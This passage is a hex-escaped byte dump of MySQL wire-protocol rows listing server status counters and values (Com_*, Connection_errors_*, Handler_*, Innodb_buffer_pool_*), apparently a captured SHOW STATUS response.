69\x6e\x64\x65\x78\x01\x30\x17\x00\x00\x26\x14\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x70\x72\x6f\x63\x65\x64\x75\x72\x65\x01\x30\x14\x00\x00\x27\x11\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x73\x65\x72\x76\x65\x72\x01\x30\x13\x00\x00\x28\x10\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x74\x61\x62\x6c\x65\x01\x30\x15\x00\x00\x29\x12\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x74\x72\x69\x67\x67\x65\x72\x01\x30\x11\x00\x00\x2a\x0e\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x75\x64\x66\x01\x30\x12\x00\x00\x2b\x0f\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x75\x73\x65\x72\x01\x30\x12\x00\x00\x2c\x0f\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x76\x69\x65\x77\x01\x30\x12\x00\x00\x2d\x0f\x43\x6f\x6d\x5f\x64\x65\x61\x6c\x6c\x6f\x63\x5f\x73\x71\x6c\x01\x30\x0d\x00\x00\x2e\x0a\x43\x6f\x6d\x5f\x64\x65\x6c\x65\x74\x65\x01\x30\x13\x00\x00\x2f\x10\x43\x6f\x6d\x5f\x64\x65\x6c\x65\x74\x65\x5f\x6d\x75\x6c\x74\x69\x01\x30\x09\x00\x00\x30\x06\x43\x6f\x6d\x5f\x64\x6f\x01\x30\x0e\x00\x00\x31\x0b\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x64\x62\x01\x30\x11\x00\x00\x32\x0e\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x65\x76\x65\x6e\x74\x01\x30\x14\x00\x00\x33\x11\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x01\x30\x11\x00\x00\x34\x0e\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x69\x6e\x64\x65\x78\x01\x30\x15\x00\x00\x35\x12\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x70\x72\x6f\x63\x65\x64\x75\x72\x65\x01\x30\x12\x00\x00\x36\x0f\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x73\x65\x72\x76\x65\x72\x01\x30\x11\x00\x00\x37\x0e\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x74\x61\x62\x6c\x65\x01\x30\x13\x00\x00\x38\x10\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x74\x72\x69\x67\x67\x65\x72\x01\x30\x10\x00\x00\x39\x0d\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x75\x73\x65\x72\x01\x30\x10\x00\x00\x3a\x0d\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x76\x69\x65\x77\x01\x30\x12\x00\x00\x3b\x0f\x43\x6f\x6d\x5f\x65\x6d\x70\x74\x79\x5f\x71\x75\x65\x72\x79\x01\x30\x12\x00\x00\x3c\x0f\x43\x6f\x6d\x5f\x65\x78\x65\x63\x75\x74\x65\x5f\x73\x71\x6c\x01\x30\x14\x00\x00\x3d\x11\x43\x6f\x6d\x5f\x65\x78\x70\x6c\x61\x69\x6e\x5f\x6f\x74\x68\x65\x72\x01\x30\x0c\x00\x00\x3e\x09\x43\x6f\x6d\x5f\x66\x6c\x75\x73\x68\x01\x30\x16\x00\x00\x3f\x13\x43\x6f\x6d\x5f\x67\x65\x74\x5f\x64\x69\x61\x67\x6e\x6f\x73\x74\x69\x63\x73\x01\x30\x0c\x00\x00\x40\x09\x43\x6f\x6d\x5f\x67\x72\x61\x6e\x74\x01\x30\x0f\x00\x00\x41\x0c\x43\x6f\x6d\x5f\x68\x61\x5f\x63\x6c\x6f\x73\x65\x01\x30\x0e\x00\x00\x42\x0b\x43\x6f\x6d\x5f\x68\x61\x5f\x6f\x70\x65\x6e\x01\x30\x0e\x00\x00\x43\x0b\x43\x6f\x6d\x5f\x68\x61\x5f\x72\x65\x61\x64\x01\x30\x0b\x00\x00\x44\x08\x43\x6f\x6d\x5f\x68\x65\x6c\x70\x01\x30\x0d\x00\x00\x45\x0a\x43\x6f\x6d\x5f\x69\x6e\x73\x65\x72\x74\x01\x30\x14\x00\x00\x46\x11\x43\x6f\x6d\x5f\x69\x6e\x73\x65\x72\x74\x5f\x73\x65\x6c\x65\x63\x74\x01\x30\x15\x00\x00\x47\x12\x43\x6f\x6d\x5f\x69\x6e\x73\x74\x61\x6c\x6c\x5f\x70\x6c\x75\x67\x69\x6e\x01\x30\x0b\x00\x00\x48\x08\x43\x6f\x6d\x5f\x6b\x69\x6c\x6c\x01\x30\x0b\x00\x00\x49\x08\x43\x6f\x6d\x5f\x6c\x6f\x61\x64\x01\x30\x12\x00\x00\x4a\x0f\x43\x6f\x6d\x5f\x6c\x6f\x63\x6b\x5f\x74\x61\x62\x6c\x65\x73\x01\x30\x0f\x00\x00\x4b\x0c\x43\x6f\x6d\x5f\x6f\x70\x74\x69\x6d\x69\x7a\x65\x01\x30\x13\x00\x00\x4c\x10\x43\x6f\x6d\x5f\x70\x72\x65\x6c\x6f\x61\x64\x5f\x6b\x65\x79\x73\x01\x30\x12\x00\x00\x4d\x0f\x43\x6f\x6d\x5f\x70\x72\x65\x70\x61\x72\x65\x5f\x73\x71\x6c\x01\x30\x0c\x00\x00\x4e\x09\x43\x6f\x6d\x5f\x70\x75\x72\x67\x65\x01\x30\x18\x00\x00\x4f\x15\x43\x6f\x6d\x5f\x70\x75\x72\x67\x65\x5f\x62\x65\x66\x6f\x72\x65\x5f\x64\x61\x74\x65\x01\x30\x18\x00\x00\x50\x15\x43\x6f\x6d\x5f\x72\x65\x6c\x65\x61\x73\x65\x5f\x73\x61\x76\x65\x70\x6f\x69\x6e\x74\x01\x30\x13\x00\x00\x51\x10\x43\x6f\x6d\x5f\x72\x65\x6e\x61\x6d\x65\x5f\x74\x61\x62\x6c\x65\x01\x30\x12\x00\x00\x52\x0f\x43\x6f\x6d\x5f\x72\x65\x6e\x61\x6d\x65\x5f\x75\x73\x65\x72\x01\x30\x0d\x00\x00\x53\x0a\x43\x6f\x6d\x5f\x72\x65\x70\x61\x69\x72\x01\x30\x0e\x00\x00\x54\x0b\x43\x6f\x6d\x5f\x72\x65\x70\x6c\x61\x63\x65\x01\x30\x15\x00\x00\x55\x12\x43\x6f\x6d\x5f\x72\x65\x70\x6c\x61\x63\x65\x5f\x73\x65\x6c\x65\x63\x74\x01\x30\x0c\x00\x00\x56\x09\x43\x6f\x6d\x5f\x72\x65\x73\x65\x74\x01\x30\x0f\x00\x00\x57\x0c\x43\x6f\x6d\x5f\x72\x65\x73\x69\x67\x6e\x61\x6c\x01\x30\x0d\x00\x00\x58\x0a\x43\x6f\x6d\x5f\x72\x65\x76\x6f\x6b\x65\x01\x30\x11\x00\x00\x59\x0e\x43\x6f\x6d\x5f\x72\x65\x76\x6f\x6b\x65\x5f\x61\x6c\x6c\x01\x30\x0f\x00\x00\x5a\x0c\x43\x6f\x6d\x5f\x72\x6f\x6c\x6c\x62\x61\x63\x6b\x01\x30\x1c\x00\x00\x5b\x19\x43\x6f\x6d\x5f\x72\x6f\x6c\x6c\x62\x61\x63\x6b\x5f\x74\x6f\x5f\x73\x61\x76\x65\x70\x6f\x69\x6e\x74\x01\x30\x10\x00\x00\x5c\x0d\x43\x6f\x6d\x5f\x73\x61\x76\x65\x70\x6f\x69\x6e\x74\x01\x30\x0d\x00\x00\x5d\x0a\x43\x6f\x6d\x5f\x73\x65\x6c\x65\x63\x74\x01\x32\x11\x00\x00\x5e\x0e\x43\x6f\x6d\x5f\x73\x65\x74\x5f\x6f\x70\x74\x69\x6f\x6e\x01\x32\x0d\x00\x00\x5f\x0a\x43\x6f\x6d\x5f\x73\x69\x67\x6e\x61\x6c\x01\x30\x19\x00\x00\x60\x16\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x62\x69\x6e\x6c\x6f\x67\x5f\x65\x76\x65\x6e\x74\x73\x01\x30\x13\x00\x00\x61\x10\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x62\x69\x6e\x6c\x6f\x67\x73\x01\x30\x14\x00\x00\x62\x11\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x68\x61\x72\x73\x65\x74\x73\x01\x30\x16\x00\x00\x63\x13\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x6f\x6c\x6c\x61\x74\x69\x6f\x6e\x73\x01\x30\x15\x00\x00\x64\x12\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x72\x65\x61\x74\x65\x5f\x64\x62\x01\x30\x18\x00\x00\x65\x15\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x72\x65\x61\x74\x65\x5f\x65\x76\x65\x6e\x74\x01\x30\x17\x00\x00\x66\x14\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x01\x30\x17\x00\x00\x67\x14\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x72\x65\x61\x74\x65\x5f\x70\x72\x6f\x63\x01\x30\x18\x00\x00\x68\x15\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x72\x65\x61\x74\x65\x5f\x74\x61\x62\x6c\x65\x01\x30\x1a\x00\x00\x69\x17\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x72\x65\x61\x74\x65\x5f\x74\x72\x69\x67\x67\x65\x72\x01\x30\x15\x00\x00\x6a\x12\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x64\x61\x74\x61\x62\x61\x73\x65\x73\x01\x30\x17\x00\x00\x6b\x14\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x65\x6e\x67\x69\x6e\x65\x5f\x6c\x6f\x67\x73\x01\x30\x18\x00\x00\x6c\x15\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x65\x6e\x67\x69\x6e\x65\x5f\x6d\x75\x74\x65\x78\x01\x30\x19\x00\x00\x6d\x16\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x65\x6e\x67\x69\x6e\x65\x5f\x73\x74\x61\x74\x75\x73\x01\x30\x12\x00\x00\x6e\x0f\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x65\x76\x65\x6e\x74\x73\x01\x30\x12\x00\x00\x6f\x0f\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x65\x72\x72\x6f\x72\x73\x01\x30\x12\x00\x00\x70\x0f\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x66\x69\x65\x6c\x64\x73\x01\x30\x19\x00\x00\x71\x16\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x63\x6f\x64\x65\x01\x30\x1b\x00\x00\x72\x18\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73\x01\x30\x12\x00\x00\x73\x0f\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x67\x72\x61\x6e\x74\x73\x01\x30\x10\x00\x00\x74\x0d\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x6b\x65\x79\x73\x01\x30\x19\x00\x00\x75\x16\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x6d\x61\x73\x74\x65\x72\x5f\x73\x74\x61\x74\x75\x73\x01\x30\x17\x00\x00\x76\x14\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x6f\x70\x65\x6e\x5f\x74\x61\x62\x6c\x65\x73\x01\x30\x13\x00\x00\x77\x10\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x70\x6c\x75\x67\x69\x6e\x73\x01\x30\x16\x00\x00\x78\x13\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x70\x72\x69\x76\x69\x6c\x65\x67\x65\x73\x01\x30\x1a\x00\x00\x79\x17\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x70\x72\x6f\x63\x65\x64\x75\x72\x65\x5f\x63\x6f\x64\x65\x01\x30\x1c\x00\x00\x7a\x19\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x70\x72\x6f\x63\x65\x64\x75\x72\x65\x5f\x73\x74\x61\x74\x75\x73\x01\x30\x17\x00\x00\x7b\x14\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x70\x72\x6f\x63\x65\x73\x73\x6c\x69\x73\x74\x01\x30\x13\x00\x00\x7c\x10\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x70\x72\x6f\x66\x69\x6c\x65\x01\x30\x14\x00\x00\x7d\x11\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x70\x72\x6f\x66\x69\x6c\x65\x73\x01\x30\x1b\x00\x00\x7e\x18\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x72\x65\x6c\x61\x79\x6c\x6f\x67\x5f\x65\x76\x65\x6e\x74\x73\x01\x30\x17\x00\x00\x7f\x14\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x73\x6c\x61\x76\x65\x5f\x68\x6f\x73\x74\x73\x01\x30\x18\x00\x00\x80\x15\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x73\x6c\x61\x76\x65\x5f\x73\x74\x61\x74\x75\x73\x01\x30\x12\x00\x00\x81\x0f\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x73\x74\x61\x74\x75\x73\x01\x32\x1b\x00\x00\x82\x18\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x73\x74\x6f\x72\x61\x67\x65\x5f\x65\x6e\x67\x69\x6e\x65\x73\x01\x30\x18\x00\x00\x83\x15\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x74\x61\x62\x6c\x65\x5f\x73\x74\x61\x74\x75\x73\x01\x30\x12\x00\x00\x84\x0f\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x74\x61\x62\x6c\x65\x73\x01\x30\x14\x00\x00\x85\x11\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x74\x72\x69\x67\x67\x65\x72\x73\x01\x30\x15\x00\x00\x86\x12\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x76\x61\x72\x69\x61\x62\x6c\x65\x73\x01\x30\x14\x00\x00\x87\x11\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x77\x61\x72\x6e\x69\x6e\x67\x73\x01\x31\x17\x00\x00\x88\x14\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x72\x65\x61\x74\x65\x5f\x75\x73\x65\x72\x01\x30\x0f\x00\x00\x89\x0c\x43\x6f\x6d\x5f\x73\x68\x75\x74\x64\x6f\x77\x6e\x01\x30\x12\x00\x00\x8a\x0f\x43\x6f\x6d\x5f\x73\x6c\x61\x76\x65\x5f\x73\x74\x61\x72\x74\x01\x30\x11\x00\x00\x8b\x0e\x43\x6f\x6d\x5f\x73\x6c\x61\x76\x65\x5f\x73\x74\x6f\x70\x01\x30\x1e\x00\x00\x8c\x1b\x43\x6f\x6d\x5f\x67\x72\x6f\x75\x70\x5f\x72\x65\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x5f\x73\x74\x61\x72\x74\x01\x30\x1d\x00\x00\x8d\x1a\x43\x6f\x6d\x5f\x67\x72\x6f\x75\x70\x5f\x72\x65\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x5f\x73\x74\x6f\x70\x01\x30\x13\x00\x00\x8e\x10\x43\x6f\x6d\x5f\x73\x74\x6d\x74\x5f\x65\x78\x65\x63\x75\x74\x65\x01\x30\x11\x00\x00\x8f\x0e\x43\x6f\x6d\x5f\x73\x74\x6d\x74\x5f\x63\x6c\x6f\x73\x65\x01\x30\x11\x00\x00\x90\x0e\x43\x6f\x6d\x5f\x73\x74\x6d\x74\x5f\x66\x65\x74\x63\x68\x01\x30\x13\x00\x00\x91\x10\x43\x6f\x6d\x5f\x73\x74\x6d\x74\x5f\x70\x72\x65\x70\x61\x72\x65\x01\x30\x11\x00\x00\x92\x0e\x43\x6f\x6d\x5f\x73\x74\x6d\x74\x5f\x72\x65\x73\x65\x74\x01\x30\x1a\x00\x00\x93\x17\x43\x6f\x6d\x5f\x73\x74\x6d\x74\x5f\x73\x65\x6e\x64\x5f\x6c\x6f\x6e\x67\x5f\x64\x61\x74\x61\x01\x30\x0f\x00\x00\x94\x0c\x43\x6f\x6d\x5f\x74\x72\x75\x6e\x63\x61\x74\x65\x01\x30\x17\x00\x00\x95\x14\x43\x6f\x6d\x5f\x75\x6e\x69\x6e\x73\x74\x61\x6c\x6c\x5f\x70\x6c\x75\x67\x69\x6e\x01\x30\x14\x00\x00\x96\x11\x43\x6f\x6d\x5f\x75\x6e\x6c\x6f\x63\x6b\x5f\x74\x61\x62\x6c\x65\x73\x01\x30\x0d\x00\x00\x97\x0a\x43\x6f\x6d\x5f\x75\x70\x64\x61\x74\x65\x01\x30\x13\x00\x00\x98\x10\x43\x6f\x6d\x5f\x75\x70\x64\x61\x74\x65\x5f\x6d\x75\x6c\x74\x69\x01\x30\x10\x00\x00\x99\x0d\x43\x6f\x6d\x5f\x78\x61\x5f\x63\x6f\x6d\x6d\x69\x74\x01\x30\x0d\x00\x00\x9a\x0a\x43\x6f\x6d\x5f\x78\x61\x5f\x65\x6e\x64\x01\x30\x11\x00\x00\x9b\x0e\x43\x6f\x6d\x5f\x78\x61\x5f\x70\x72\x65\x70\x61\x72\x65\x01\x30\x11\x00\x00\x9c\x0e\x43\x6f\x6d\x5f\x78\x61\x5f\x72\x65\x63\x6f\x76\x65\x72\x01\x30\x12\x00\x00\x9d\x0f\x43\x6f\x6d\x5f\x78\x61\x5f\x72\x6f\x6c\x6c\x62\x61\x63\x6b\x01\x30\x0f\x00\x00\x9e\x0c\x43\x6f\x6d\x5f\x78\x61\x5f\x73\x74\x61\x72\x74\x01\x30\x15\x00\x00\x9f\x12\x43\x6f\x6d\x5f\x73\x74\x6d\x74\x5f\x72\x65\x70\x72\x65\x70\x61\x72\x65\x01\x30\x10\x00\x00\xa0\x0b\x43\x6f\x6d\x70\x72\x65\x73\x73\x69\x6f\x6e\x03\x4f\x46\x46\x1b\x00\x00\xa1\x18\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x5f\x65\x72\x72\x6f\x72\x73\x5f\x61\x63\x63\x65\x70\x74\x01\x30\x1d\x00\x00\xa2\x1a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x5f\x65\x72\x72\x6f\x72\x73\x5f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x01\x30\x24\x00\x00\xa3\x21\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x5f\x65\x72\x72\x6f\x72\x73\x5f\x6d\x61\x78\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x73\x01\x30\x21\x00\x00\xa4\x1e\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x5f\x65\x72\x72\x6f\x72\x73\x5f\x70\x65\x65\x72\x5f\x61\x64\x64\x72\x65\x73\x73\x01\x30\x1b\x00\x00\xa5\x18\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x5f\x65\x72\x72\x6f\x72\x73\x5f\x73\x65\x6c\x65\x63\x74\x01\x30\x1c\x00\x00\xa6\x19\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x5f\x65\x72\x72\x6f\x72\x73\x5f\x74\x63\x70\x77\x72\x61\x70\x01\x30\x0e\x00\x00\xa7\x0b\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x73\x01\x33\x1a\x00\x00\xa8\x17\x43\x72\x65\x61\x74\x65\x64\x5f\x74\x6d\x70\x5f\x64\x69\x73\x6b\x5f\x74\x61\x62\x6c\x65\x73\x01\x30\x14\x00\x00\xa9\x11\x43\x72\x65\x61\x74\x65\x64\x5f\x74\x6d\x70\x5f\x66\x69\x6c\x65\x73\x01\x35\x15\x00\x00\xaa\x12\x43\x72\x65\x61\x74\x65\x64\x5f\x74\x6d\x70\x5f\x74\x61\x62\x6c\x65\x73\x01\x30\x11\x00\x00\xab\x0e\x44\x65\x6c\x61\x79\x65\x64\x5f\x65\x72\x72\x6f\x72\x73\x01\x30\x19\x00\x00\xac\x16\x44\x65\x6c\x61\x79\x65\x64\x5f\x69\x6e\x73\x65\x72\x74\x5f\x74\x68\x72\x65\x61\x64\x73\x01\x30\x11\x00\x00\xad\x0e\x44\x65\x6c\x61\x79\x65\x64\x5f\x77\x72\x69\x74\x65\x73\x01\x30\x11\x00\x00\xae\x0e\x46\x6c\x75\x73\x68\x5f\x63\x6f\x6d\x6d\x61\x6e\x64\x73\x01\x31\x11\x00\x00\xaf\x0e\x48\x61\x6e\x64\x6c\x65\x72\x5f\x63\x6f\x6d\x6d\x69\x74\x01\x30\x11\x00\x00\xb0\x0e\x48\x61\x6e\x64\x6c\x65\x72\x5f\x64\x65\x6c\x65\x74\x65\x01\x30\x13\x00\x00\xb1\x10\x48\x61\x6e\x64\x6c\x65\x72\x5f\x64\x69\x73\x63\x6f\x76\x65\x72\x01\x30\x18\x00\x00\xb2\x15\x48\x61\x6e\x64\x6c\x65\x72\x5f\x65\x78\x74\x65\x72\x6e\x61\x6c\x5f\x6c\x6f\x63\x6b\x01\x30\x13\x00\x00\xb3\x10\x48\x61\x6e\x64\x6c\x65\x72\x5f\x6d\x72\x72\x5f\x69\x6e\x69\x74\x01\x30\x12\x00\x00\xb4\x0f\x48\x61\x6e\x64\x6c\x65\x72\x5f\x70\x72\x65\x70\x61\x72\x65\x01\x30\x15\x00\x00\xb5\x12\x48\x61\x6e\x64\x6c\x65\x72\x5f\x72\x65\x61\x64\x5f\x66\x69\x72\x73\x74\x01\x30\x13\x00\x00\xb6\x10\x48\x61\x6e\x64\x6c\x65\x72\x5f\x72\x65\x61\x64\x5f\x6b\x65\x79\x01\x30\x14\x00\x00\xb7\x11\x48\x61\x6e\x64\x6c\x65\x72\x5f\x72\x65\x61\x64\x5f\x6c\x61\x73\x74\x01\x30\x14\x00\x00\xb8\x11\x48\x61\x6e\x64\x6c\x65\x72\x5f\x72\x65\x61\x64\x5f\x6e\x65\x78\x74\x01\x30\x14\x00\x00\xb9\x11\x48\x61\x6e\x64\x6c\x65\x72\x5f\x72\x65\x61\x64\x5f\x70\x72\x65\x76\x01\x30\x13\x00\x00\xba\x10\x48\x61\x6e\x64\x6c\x65\x72\x5f\x72\x65\x61\x64\x5f\x72\x6e\x64\x01\x30\x18\x00\x00\xbb\x15\x48\x61\x6e\x64\x6c\x65\x72\x5f\x72\x65\x61\x64\x5f\x72\x6e\x64\x5f\x6e\x65\x78\x74\x01\x30\x13\x00\x00\xbc\x10\x48\x61\x6e\x64\x6c\x65\x72\x5f\x72\x6f\x6c\x6c\x62\x61\x63\x6b\x01\x30\x14\x00\x00\xbd\x11\x48\x61\x6e\x64\x6c\x65\x72\x5f\x73\x61\x76\x65\x70\x6f\x69\x6e\x74\x01\x30\x1d\x00\x00\xbe\x1a\x48\x61\x6e\x64\x6c\x65\x72\x5f\x73\x61\x76\x65\x70\x6f\x69\x6e\x74\x5f\x72\x6f\x6c\x6c\x62\x61\x63\x6b\x01\x30\x11\x00\x00\xbf\x0e\x48\x61\x6e\x64\x6c\x65\x72\x5f\x75\x70\x64\x61\x74\x65\x01\x30\x10\x00\x00\xc0\x0d\x48\x61\x6e\x64\x6c\x65\x72\x5f\x77\x72\x69\x74\x65\x01\x30\x42\x00\x00\xc1\x1e\x49\x6e\x6e\x6f\x64\x62\x5f\x62\x75\x66\x66\x65\x72\x5f\x70\x6f\x6f\x6c\x5f\x64\x75\x6d\x70\x5f\x73\x74\x61\x74\x75\x73\x22\x44\x75\x6d\x70\x69\x6e\x67\x20\x6f\x66\x20\x62\x75\x66\x66\x65\x72\x20\x70\x6f\x6f\x6c\x20\x6e\x6f\x74\x20\x73\x74\x61\x72\x74\x65\x64\x50\x00\x00\xc2\x1e\x49\x6e\x6e\x6f\x64\x62\x5f\x62\x75\x66\x66\x65\x72\x5f\x70\x6f\x6f\x6c\x5f\x6c\x6f\x61\x64\x5f\x73\x74\x61\x74\x75\x73\x30\x42\x75\x66\x66\x65\x72\x20\x70\x6f\x6f\x6c\x28\x73\x29\x20\x6c\x6f\x61\x64\x20\x63\x6f\x6d\x70\x6c\x65\x74\x65\x64\x20\x61\x74\x20\x32\x35\x30\x31\x31\x30\x20\x20\x31\x3a\x34\x32\x3a\x35\x37\x22\x00\x00\xc3\x20\x49\x6e\x6e\x6f\x64\x62\x5f\x62\x75\x66\x66\x65\x72\x5f\x70\x6f\x6f\x6c\x5f\x72\x65\x73\x69\x7a\x65\x5f\x73\x74\x61\x74\x75\x73\x00\x22\x00\x00\xc4\x1d\x49\x6e\x6e\x6f\x64\x62\x5f\x62\x75\x66\x66\x65\x72\x5f\x70\x6f\x6f\x6c\x5f\x70\x61\x67\x65\x73\x5f\x64\x61\x74\x61\x03\x34\x34\x37\x26\x00\x00\xc5\x1d\x49\x6e\x6e\x6f\x64\x62\x5f\x62\x75\x66\x66\x65\x72\x5f\x70\x6f\x6f\x6c\x5f\x62\x79\x74\x65\x73\x5f\x64\x61\x74\x61\x07\x37\x33\x32\x33\x36\x34\x38\x21\x00\x00\xc6\x1e\x49\x6e\x6e\x6f\x64\x62\x5f\x62\x75\x66\x66\x65\x72\x5f\x70\x6f\x6f\x6c\x5f\x70\x61\x67\x65\x73\x5f\x64\x69\x72\x74\x79\x01\x30\x21\x00\x00\xc7\x1e\x49\x6e\x6e\x6f\x64\x62\x5f\x62\x75\x66\x66\x65\x72\x5f\x70\x6f\x6f\x6c\x5f\x62\x79\x74\x65\x73\x5f\x64\x69\x72\x74\x79\x01\x30\x24\x00\x00\xc8\x20\x49\x6e\x6e\x6f\x64\x62\x5f\x62\x75\x66\x66\x65\x72\x5f\x70\x6f\x6f\x6c\x5f\x70\x61\x67\x65\x73\x5f\x66\x6c\x75\x73\x68\x65\x64\x02\x33\x36\x23\x00\x00\xc9\x1d\x49\x6e\x6e\x6f\x64\x62\x5f\x62\x75\x66\x66\x65\x72\x5f\x70\x6f\x6f\x6c\x5f\x70\x61\x67\x65\x73\x5f\x66\x72\x65\x65\x04\x33\x36\x34\x37\x20\x00\x00\xca\x1d\x49\x6e\x6e\x6f\x64\x62\x5f\x62\x75\x66\x66\x65\x72\x5f\x70\x6f\x6f\x6c\x5f\x70\x61\x67\x65\x73\x5f\x6d\x69\x73\x63\x01\x32\x24\x00\x00\xcb\x1e\x49\x6e\x6e\x6f\x64\x62\x5f\x62\x75\x66\x66\x65\x72\x5f\x70\x6f\x6f\x6c\x5f\x70\x61\x67\x65\x73\x5f\x74\x6f\x74\x61\x6c\x04\x34\x30\x39\x36\x24\x00\x00\xcc\x21\x49\x6e\x6e\x6f\x64\x62\x5f\x62\x75\x66\x66\x65\x72\x5f\x70\x6f\x6f\x6c\x5f\x72\x65\x61\x64\x5f\x61\x68\x65\x61\x64\x5f\x72\x6e\x64\x01\x30\x20\x00\x00\xcd\x1d\x49\x6e\x6e\x6f\x64\x62\x5f\x62\x75\x66\x66\x65\x72\x5f\x70\x6f\x6f\x6c\x5f\x72\x65\x61\x64\x5f\x61\x68\x65\x61\x64\x01\x30\x28\x00\x00\xce\x25\x49\x6e\x6e\x6f\x64\x62\x5f\x62\x75\x66\x66\x65\x72\x5f\x70\x6f\x6f\x6c\x5f\x72\x65\x61\x64\x5f\x61\x68\x65\x61\x64\x5f\x65\x76\x69\x63\x74\x65\x64\x01\x30\x26\x00\x00\xcf\x20\x49\x6e\x6e\x6f\x64\x62\x5f\x62\x75\x66\x66\x65\x72\x5f\x70\x6f\x6f\x6c\x5f\x72\x65\x61\x64\x5f\x72\x65\x71\x75\x65\x73\x74\x73\x04\x32\x34\x38\x33\x1d\x00\x00\xd0\x18\x49\x6e\x6e\x6f\x64\x62\x5f\x62\x75\x66\x66\x65\x72\x5f\x70\x6f\x6f\x6c\x5f\x72\x65\x61\x64\x73\x03\x34\x31\x34\x1f\x00\x00\xd1\x1c\x49\x6e\x6e\x6f\x64\x62\x5f\x62\x75\x66\x66\x65\x72\x5f\x70\x6f\x6f\x6c\x5f\x77\x61\x69\x74\x5f\x66\x72\x65\x65\x01\x30\x26\x00\x00\xd2\x21\x49\x6e\x6e\x6f\x64\x62\x5f\x62\x75\x66\x66\x65\x72\x5f\x70\x6f\x6f\x6c\x5f\x77\x72\x69\x74\x65\x5f\x72\x65\x71\x75\x65\x73\x74\x73\x03\x33\x32\x35\x15\x00\x00\xd3\x12\x49\x6e\x6e\x6f\x64\x62\x5f\x64\x61\x74\x61\x5f\x66\x73\x79\x6e\x63\x73\x01\x37\x1d\x00\x00\xd4\x1a\x49\x6e\x6e\x6f\x64\x62\x5f\x64\x61\x74\x61\x5f\x70\x65\x6e\x64\x69\x6e\x67\x5f\x66\x73\x79\x6e\x63\x73\x01\x30\x1c\x00\x00\xd5\x19\x49\x6e\x6e\x6f\x64\x62\x5f\x64\x61\x74\x61\x5f\x70\x65\x6e\x64\x69\x6e\x67\x5f\x72\x65\x61\x64\x73\x01\x30\x1d\x00\x00\xd6\x1a\x49\x6e\x6e\x6f\x64\x62\x5